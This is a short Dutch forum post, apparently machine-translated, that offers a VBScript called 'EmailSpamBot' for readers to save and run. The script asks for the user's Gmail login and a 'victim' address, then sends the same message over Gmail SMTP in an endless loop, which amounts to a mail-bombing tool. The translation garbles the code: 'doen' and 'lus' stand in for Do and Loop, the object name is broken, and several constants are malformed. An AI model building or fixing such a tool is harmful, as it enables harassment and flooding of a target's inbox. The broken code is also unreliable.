Hier is het
gewoon kopiëren plakken in Kladblok opslaan als anything.vbs, waar alles is een willekeurige naam u wilt.
Als u hotmail gewoon gebruikt vinden de lijnen gelabelde smtp.gmail.com en veranderen voor hotmail of wat dan ook u gebruiken.
Dim gebruiker
Dim Pass
Dim naam
Dim Input
Dim Ingang2
Dim Input3
X = MsgBox ("welkom. Inloggen klikt u op OK en voer uw G-mail & pass ", 0,"EmailSpamBot V1.0")
Gebruiker = InputBox ("Voer uw G-mail:")
Pass = InputBox ("wachtwoord invoeren:" & vbCrLf & "" & vbCrLf & "alstublieft wachtwoorden worden niet opgeslagen in dit script en zijn hoofdlettergevoelig.")
Naam = InputBox ("Voer naam:")
Input = InputBox ("Voer e-mail van slachtoffer:")
Ingang2 = InputBox ("Voer Titel:")
Input3 = InputBox ("Enter bericht:")
EmailSubject = ("" & Ingang2)
EmailBody = ("" & Input3)
"Const EmailFrom =" "
"Const EmailFromName =" "
Const SMTPServer = "smtp.gmail.com"
"Const SMTPLogon =" "
"Const SMTPPassword =" "
Const SMTPSSL = True
Const SMTPPort = 465
Const cdoSendUsingPickup = 1 ' bericht verzenden met behulp van lokale SMTP service ophaalmap.
Const cdoSendUsingPort = 2 ' de boodschap met SMTP via TCP/IP-netwerk.
Const cdoAnonymous = 0' geen verificatie
Const cdoBasic = 1' BASIC duidelijke tekst authenticatie
Const cdoNTLM = 2' NTLM, propriëtaire Microsoft-verificatie
' Maak eerst het bericht
Set objMessage = CreateObject ("CDO. Bericht")
objMessage.Subject = EmailSubject
objMessage.From = "<" & User & naam & ">"
objMessage.To = "<" & Input & ">"
objMessage.TextBody = EmailBody
' Tweede, het configureren van de server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = gebruiker
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = SMTPSSL
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
objMessage.Configuration.Fields.Update
doen
objMessage.Send
lus
voel je vrij om opmerkingen vertelt me wat je denkt, wat te verbeteren ect.
